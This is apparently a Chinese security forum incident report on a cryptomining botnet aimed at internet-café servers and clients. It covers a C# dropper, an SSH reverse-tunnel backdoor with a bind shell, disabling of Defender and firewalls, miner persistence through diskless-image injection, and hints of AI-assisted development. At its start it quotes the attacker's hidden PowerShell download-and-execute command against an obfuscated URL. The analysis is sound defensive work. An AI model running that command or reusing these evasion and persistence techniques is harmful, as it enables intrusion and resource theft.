-
-
[原创]定制化、自动化、AI 化:一起针对网吧的挖矿僵尸网络攻击
-
发表于: 2026-9-11 14:38 216
-
摘要
本报告记录了一次针对网吧服务器及客户机的复杂入侵事件。
攻击者通过初始命令下载并执行 C# 释放器,部署了基于 SSH 反向隧道的后门体系(“wangba”),随后进一步植入“PRL 云控”挖矿客户端,并利用无盘镜像注入实现大规模持久化。
攻击者展现出高度定制化、自动化和持续演进的特征:早期使用独立 PowerShell 脚本,后期演变为 C# 一体化后门服务;远程控制工具从 TightVNC 更换为 RustDesk;无盘镜像篡改从手动添加启动项发展为自动化的镜像展开、注入、写回流水线。不同受害环境中发现同类下载器在 C2 地址、端口、客户端标识等存在差异,表明攻击者具备快速生成定制版本的能力。
部分样本中出现“claude”路径及规范代码风格,暗示可能使用 AI 辅助开发。
入侵行为分析
服务器后门建立
在接到客户反馈服务器被入侵之后,安全团队第一时间对服务器进行详细的排查,在命令记录中发现攻击者执行过的一条命令
powershell -NoP -EP Bypass -WindowStyle Hidden -Command "curl.exe -k -L 502K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Q4y4f1u0Q4c8e0k6Q4z5e0c8Q4b7V1u0Q4c8e0g2Q4z5o6N6Q4b7V1u0Q4c8e0S2Q4z5o6m8Q4z5o6g2Q4c8e0g2Q4z5f1k6Q4z5f1k6Q4c8e0g2Q4z5e0m8Q4z5p5c8Q4y4f1c8Q4x3V1k6U0x3e0c8F1N6#2)9J5k6h3g2^5k6b7`.`. -o C:\Windows\Temp\c14nw.exe; if ((Get-Item C:\Windows\Temp\c14nw.exe).Length -eq 1449984) { Start-Process C:\Windows\Temp\c14nw.exe }"
该命令从攻击者服务器中下载一个可执行文件并启动该文件。该文件由 C# 编写,是一个非常简单的释放器。

下面是该C#程序的反编译代码,这段代码是攻击者使用的一个 C# 编写的释放器,是整条恶意行为链的入口组件。它的主要功能是从自身资源中提取出一个压缩包,解压后调用 PowerShell 执行安装脚本,从而部署后续的后门组件。
代码从自身程序集的嵌入资源中提取 payload.zip,解压到临时目录 %TEMP%\media-extract-client14,最终安装目录为 C:\ProgramData\wb-media\client14。

该压缩包作为资源嵌入到可执行文件中:

该程序解压该压缩包,释放多个Powershell文件(install.ps1,launch.ps1 等)。随后该程序启动 PowerShell,以隐藏窗口、绕过执行策略方式运行 install.ps1。


install.ps1
install.ps1 接受三个参数:
-Staging(暂存目录)
-Final(最终安装目录)
-ExePath(源释放器路径)。
在上文的C#释放器代码分析中也有体现。
脚本首先在最终安装目录创建目录,随后将暂存目录中的所有文件复制到该目录。复制过程中排除 install.ps1 自身,待其他文件复制完成后,再单独复制自身到最终目录。完成复制后,脚本将最终目录设置为“隐藏 + 系统”属性,使其在常规文件浏览中不可见。

脚本使用 PowerShell 计划任务 cmdlet 创建两个计划任务,均以 SYSTEM 账户最高权限运行,并采用无窗口、绕过执行策略的方式:
·任务名 WbcTunnel:触发器为系统启动时,执行动作为 powershell.exe -NoP -EP Bypass -WindowStyle Hidden -File "<最终目录>\launch.ps1",用于开机自动启动后门核心。
·任务名 WbcWatchdog:触发器为立即开始,重复间隔为 5 分钟,执行动作为 powershell.exe -NoP -EP Bypass -WindowStyle Hidden -File "<最终目录>\wb-watchdog.ps1",用于周期检测后门隧道状态,一旦中断则自动重启。
脚本在注册计划任务后,立即以隐藏进程方式执行 launch.ps1,该脚本会启动核心后门模块 wangba-core.ps1,后者负责解密配置、关闭安全防护、启动绑定 Shell 并建立 SSH 反向隧道。


随后脚本 install.ps1 进入验证循环,最多等待 40 秒,每 2 秒检查一次本地端口 25014 是否处于监听,日志文件 <最终目录>\wb-run.log 中出现字符串 ssh still running,表明 SSH 隧道已成功建立。若任一条件成立,则判定后门部署成功。验证成功后,脚本执行以下清理操作。

launch.ps1
launch.ps1 是启动器脚本,脚本定义了一个名为 Start-HiddenProc 的函数,确保后续启动的进程不会弹出任何控制台窗口,完全在后台运行,增强隐蔽性。
脚本枚举所有名为 ssh 的进程,并仅终止其可执行文件路径匹配 *wb-media\client14* 的进程。这一过滤条件表明攻击者只终止自身部署的便携版 ssh.exe,避免误杀系统自带的 OpenSSH 进程,减少暴露风险。终止后等待 800 毫秒,确保端口释放。

脚本使用字符串拼接方式构建 wangba-core.ps1 的启动参数,包括:

这些参数决定了后门核心如何建立隧道、监听端口以及上报。
wb-watchdog.ps1
wb-watchdog.ps1 是保活组件,该脚本由计划任务 WbcWatchdog 每 5 分钟调用一次,用于监测 SSH 反向隧道进程是否存活,一旦发现隧道中断,立即重新执行 launch.ps1 以恢复后门连接。该机制保障了攻击者远程控制通道的持续可用。


wangba-core.ps1
wangba-core.ps1 是核心组件,该脚本由 launch.ps1 调用,负责完成配置解密、关闭安全防护、启动绑定 Shell、建立 SSH 反向隧道以及上报主机信息等关键恶意行为。
脚本接受多个参数,包括混淆的域名(DDNSObf)、端口(PortObf)、用户名(UserObf)、XOR 种子(XorSeed)、密钥文件路径(KeyDatPath)等。此外,脚本对 SSH 私钥文件 wangba-key.dat 进行多层解密,最终得到明文的 OpenSSH 私钥,并写入临时目录中的随机命名文件,设置 ACL 仅允许当前用户和 SYSTEM 读取。

脚本检测当前进程是否具备管理员权限,若具备则尝试执行以下操作:
关闭 Windows 防火墙(域、专用、公用配置文件);
禁用 Windows Defender 的实时监控、行为监控、IOAV 保护、脚本扫描;
将脚本所在目录、临时目录等加入 Defender 排除路径;
停止 WinDefend、WdNisSvc、Sense 等服务;
终止腾讯电脑管家、360 安全卫士等国内常见安全软件进程。

此外脚本还内置了一段 PowerShell 绑定 Shell (一种后门方式)代码,并将作为独立进程,监听本地指定端口。该 Shell 允许远程客户端连接后执行任意 PowerShell 命令,命令输出通过 __WB_END__ 标记进行分隔。绑定 Shell 无任何认证机制,任何能访问该端口的攻击者均可执行命令。


为了能随时访问受害者的机器,并绕过可能存在的防火墙,攻击者选择了隐蔽的SSH反向隧道作为后门方案。反向隧道不要求受害机器监听新端口。它只是主动向外发起一个 SSH 连接,然后复用这条连接回传数据。尤其是该连接由内网主机主动发起 SSH 出站连接。通常防火墙默认允许出站,尤其是 22、443 等端口。
攻击者首先在自己的公网服务器上开启一个SSH服务和一个低权限账户,配置SSH公钥认证。在受害者机器上释放SSH私钥、加密库、和 ssh.exe 客户端。而该脚本使用解密后的私钥和便携版 ssh.exe 建立到攻击者服务器的 SSH 连接,并通过 -R 参数创建多条反向隧道:
将攻击者服务器上的指定端口映射到受害服务器的 SMB(445)端口;
将映射端口指向 RDP(3389)端口;
将映射端口指向刚刚启动的本地绑定 Shell 端口。
隧道启动后,脚本等待 8 秒并检查 ssh.exe 进程是否退出。

部署挖矿程序
在后门部署完毕后,攻击者向服务器又传送了一组文件,包含Powershell脚本和挖矿程序的压缩包。

wbhttp.ps1 是一个轻量级的 HTTP 文件服务器脚本,使用 .NET HttpListener 类在 18082 端口上监听 HTTP 请求,并以 C:\Windows\Temp\www 作为文件根目录提供服务。该脚本同时记录所有来访请求的 IP、时间和 URL 路径,并对特定格式的信标请求(bb-、ok-、err- 开头)返回固定内容 ok。


攻击者修改了无盘启动项(既可以通过修改配置文件,如 .ini ,也可以通过远程桌面 TightVNC 远程桌面),让所有客户机在开机启动后都立马执行一条Powershell命令,这条命令是一个 Base64 编码的 PowerShell 恶意脚本。

解码后的内容如下:

客户机首先向服务器报告状态,访问 c84K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0q4Q4x3X3f1J5y4o6k6Q4x3@1p5I4z5o6l9^5x3W2)9J5c8X3u0T1i4K6u0V1i4@1f1^5i4@1q4q4i4@1p5I4i4@1f1%4i4@1q4q4i4K6V1%4i4@1f1$3i4K6W2o6i4@1u0m8i4@1f1#2i4K6V1H3i4K6S2p5i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1$3i4K6V1@1i4@1u0n7i4@1f1#2i4K6R3%4i4@1u0n7i4@1f1^5i4K6R3H3i4K6R3#2i4@1f1#2i4K6S2r3i4@1q4r3i4@1f1@1i4@1u0n7i4@1p5#2i4@1f1&6i4K6R3H3i4K6W2m8i4@1f1^5i4@1u0r3i4K6R3%4i4@1f1^5i4@1q4r3i4@1p5#2i4@1f1^5i4@1q4r3i4@1t1%4i4@1f1$3i4@1t1I4i4K6R3J5i4@1f1%4i4K6W2r3i4@1p5#2i4@1f1&6i4K6R3I4i4K6V1K6i4@1f1#2i4K6V1K6i4@1q4m8i4@1f1@1i4@1u0m8i4K6W2n7i4@1f1$3i4K6W2o6i4@1u0m8i4@1f1#2i4K6V1&6i4@1p5^5i4@1f1#2i4@1t1%4i4@1t1J5i4@1f1%4i4@1u0n7i4K6S2r3i4@1f1$3i4K6R3&6i4@1p5%4i4@1f1^5i4@1p5I4i4K6S2o6i4@1f1@1i4@1u0m8i4K6R3$3i4@1f1^5i4K6R3@1i4K6W2m8i4@1f1$3i4K6W2o6i4@1q4o6i4@1f1K6i4K6R3H3i4K6R3J5i4@1f1$3i4@1p5K6i4K6R3H3i4@1f1$3i4K6W2r3i4@1p5#2 C:\ProgramData\GpuService\prl-agent.identity.enc 是否存在。如果存在,说明该机器已经被感染过,脚本就会跳过后续安装。客户机从内网服务器下载 client.zip 到临时目录,并解压到 %TEMP%\prl-c\。
这个 client.zip 包含恶意 PowerShell 脚本、挖矿程序、配置文件等。最后客户机运行解压出的 install_client.ps1 安装挖矿程序。

当客户机启动之后就立即执行恶意安装脚本,该安装脚本复制矿工/组件 exe + 全部脚本 到 C:\ProgramData\GpuService\(隐藏的系统目录),写 prl-agent.cfg.json,内含 硬编码注册码和云控地址。在注册表 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 下创建 GpuService 启动项,指向隐藏目录中的 boot.vbs,实现开机无窗口自启动。同时生成 boot.vbs 启动器,先启动 agent,再启动 guard,确保挖矿程序持续运行。prl_agent.ps1 定期向云控服务器发送心跳,上报设备状态、GPU 温度/占用、挖矿日志等信息,并接收云端下发的挖矿任务、配置更新及自更新指令。根据云端下发的矿池、钱包地址和算法参数,调用伪装成 GPU 服务的矿工程序(如 System.exe、GpuSvcHost.exe)进行加密货币挖矿,占用大量 GPU/CPU 资源。start_prl_guard.ps1 每 5–10 秒检测用户活动:当用户正在使用电脑(键盘/鼠标活动)或运行大型软件(如游戏、设计软件)时自动暂停挖矿;当 GPU 温度过高或占用过高时也暂停,待空闲后恢复。该设计使挖矿行为更隐蔽,减少被发现概率。
技术演变
随着对多台被入侵服务器的深入分析,我们发现攻击者入侵服务器时并非使用固定不变的攻击工具,而是根据目标环境持续调整和升级其武器库,呈现出明显的演进特征。
从独立脚本到一体化服务
早期样本(如 MovieInstaller 释放器)结构简单,仅将嵌入的 payload 解压并调用 PowerShell 安装脚本,其后续组件均为独立脚本,功能相对单一。但在后期发现的样本中,攻击者开始采用 C# 编写专门的后门服务(如 KeyIsoMonSvc),将 SSH 反向隧道、HTTP 文件分发、绑定 Shell、心跳与金丝雀机制整合到单一服务中,显著提升了隐蔽性和稳定性。该服务伪装成 Windows 密钥隔离服务,并藏身于网维大师热修复目录,进一步增加了发现难度。


远程控制工具的更替
在早期入侵活动中,攻击者部署了 TightVNC 远程桌面程序,用于对服务器进行图形化操作。该工具曾被放置在无盘服务器上,作为攻击者日常操控的通道。

而在后续发现的样本中,攻击者开始使用 RustDesk 远程控制软件,并将其注册为名为 NlaSvcHelper 的系统服务,伪装成与 Windows 网络位置感知服务相关的组件。RustDesk 同样是一款合法的远程桌面工具,但因其开源、易定制,被攻击者选中用来替代 TightVNC,以降低管理员发现的风险。这一变化表明,攻击者不仅关注后门功能的整合,也在持续更新其远程操控工具集,倾向于使用更隐蔽、更难被归类的合法软件。

无盘镜像注入的自动化
针对无盘镜像的篡改行为也演变为完整的自动化流水线。最开始只是通过修改启动项配置文件或者手动添加修改启动项,后面又发展成篡改启动项,使用自己编写的C#启动器去启动正常程序的同时启动攻击者的恶意程序。

该恶意程序会启动启动项原正常程序来降低用户的警觉避免被发现。

现在为了更进一步隐蔽启动,攻击者编写了底层镜像操作工具。从攻击者留下的底层镜像操作工具 imgtool.cs,到负责挂载与注入的 xt61_inject.ps1,再到监控业务低峰并触发写回的 xt90_watch.ps1 和 xt91_inject.ps1,整个流程已实现无需人工干预的闭环。攻击者通过计划任务和守护脚本,使恶意注入能在低业务峰值时自动执行,并在失败时尝试回滚或重新调度。并且这种方案越来越隐蔽。



攻击者留下的imgtool源代码部分代码片段如下:

按目标定制化生成
此外,在不同受害环境中发现的同类下载器在 C2 地址、端口、客户端标识、存储路径等方面均存在定制差异,表明攻击者已具备快速生成针对特定目标版本的能力。例如,网吧A与 网吧B 虽功能相似,但内网分发地址、备用下载域名、客户端 ID 和端口映射均不同,反映出攻击者可能使用模板化生成工具或脚本,按需填充参数并编译。


推测
综合本次事件中发现的多个定制化下载器、自动化镜像注入流水线以及代码中疑似 AI 工具痕迹,我们推测攻击者已从手工攻击转向半自动化、定制化攻击,并可能引入 AI 辅助开发以提高效率和规避检测。
AI 辅助开发的间接依据
在部分恶意脚本中出现了服务器路径 G:\claude\pentest-infra\clients,其中 “claude” 可能指向 AI 辅助开发工具(如 Anthropic Claude)。同时,样本代码结构清晰、变量命名规范(如 Start-HiddenProc、SshSupervisor、CanaryLoop)且带有详细注释,这种代码质量与 AI 辅助生成的风格相符。此外,攻击者在短时间内多次修正注入脚本路径错误、增加回滚机制,快速迭代能力也可能受益于 AI 辅助调试和代码生成。

尽管尚无直接证据证明攻击者使用了特定 AI 平台,但上述迹象表明其可能利用 AI 工具生成或优化恶意代码。这种趋势值得高度警惕,建议安全团队加强针对此类自动化威胁的检测与响应能力。
IoCs
MD5: 1645b7104b73a9d76d2acd2d892117ad
SHA1: 27d2b04b198e3ab512d82ca67b8221d2c9ee4b53
SHA256: d7f23cf09d16b4646bc9500e07e4ad79eb227eb03b9b8ecbfe3663c33c6b5287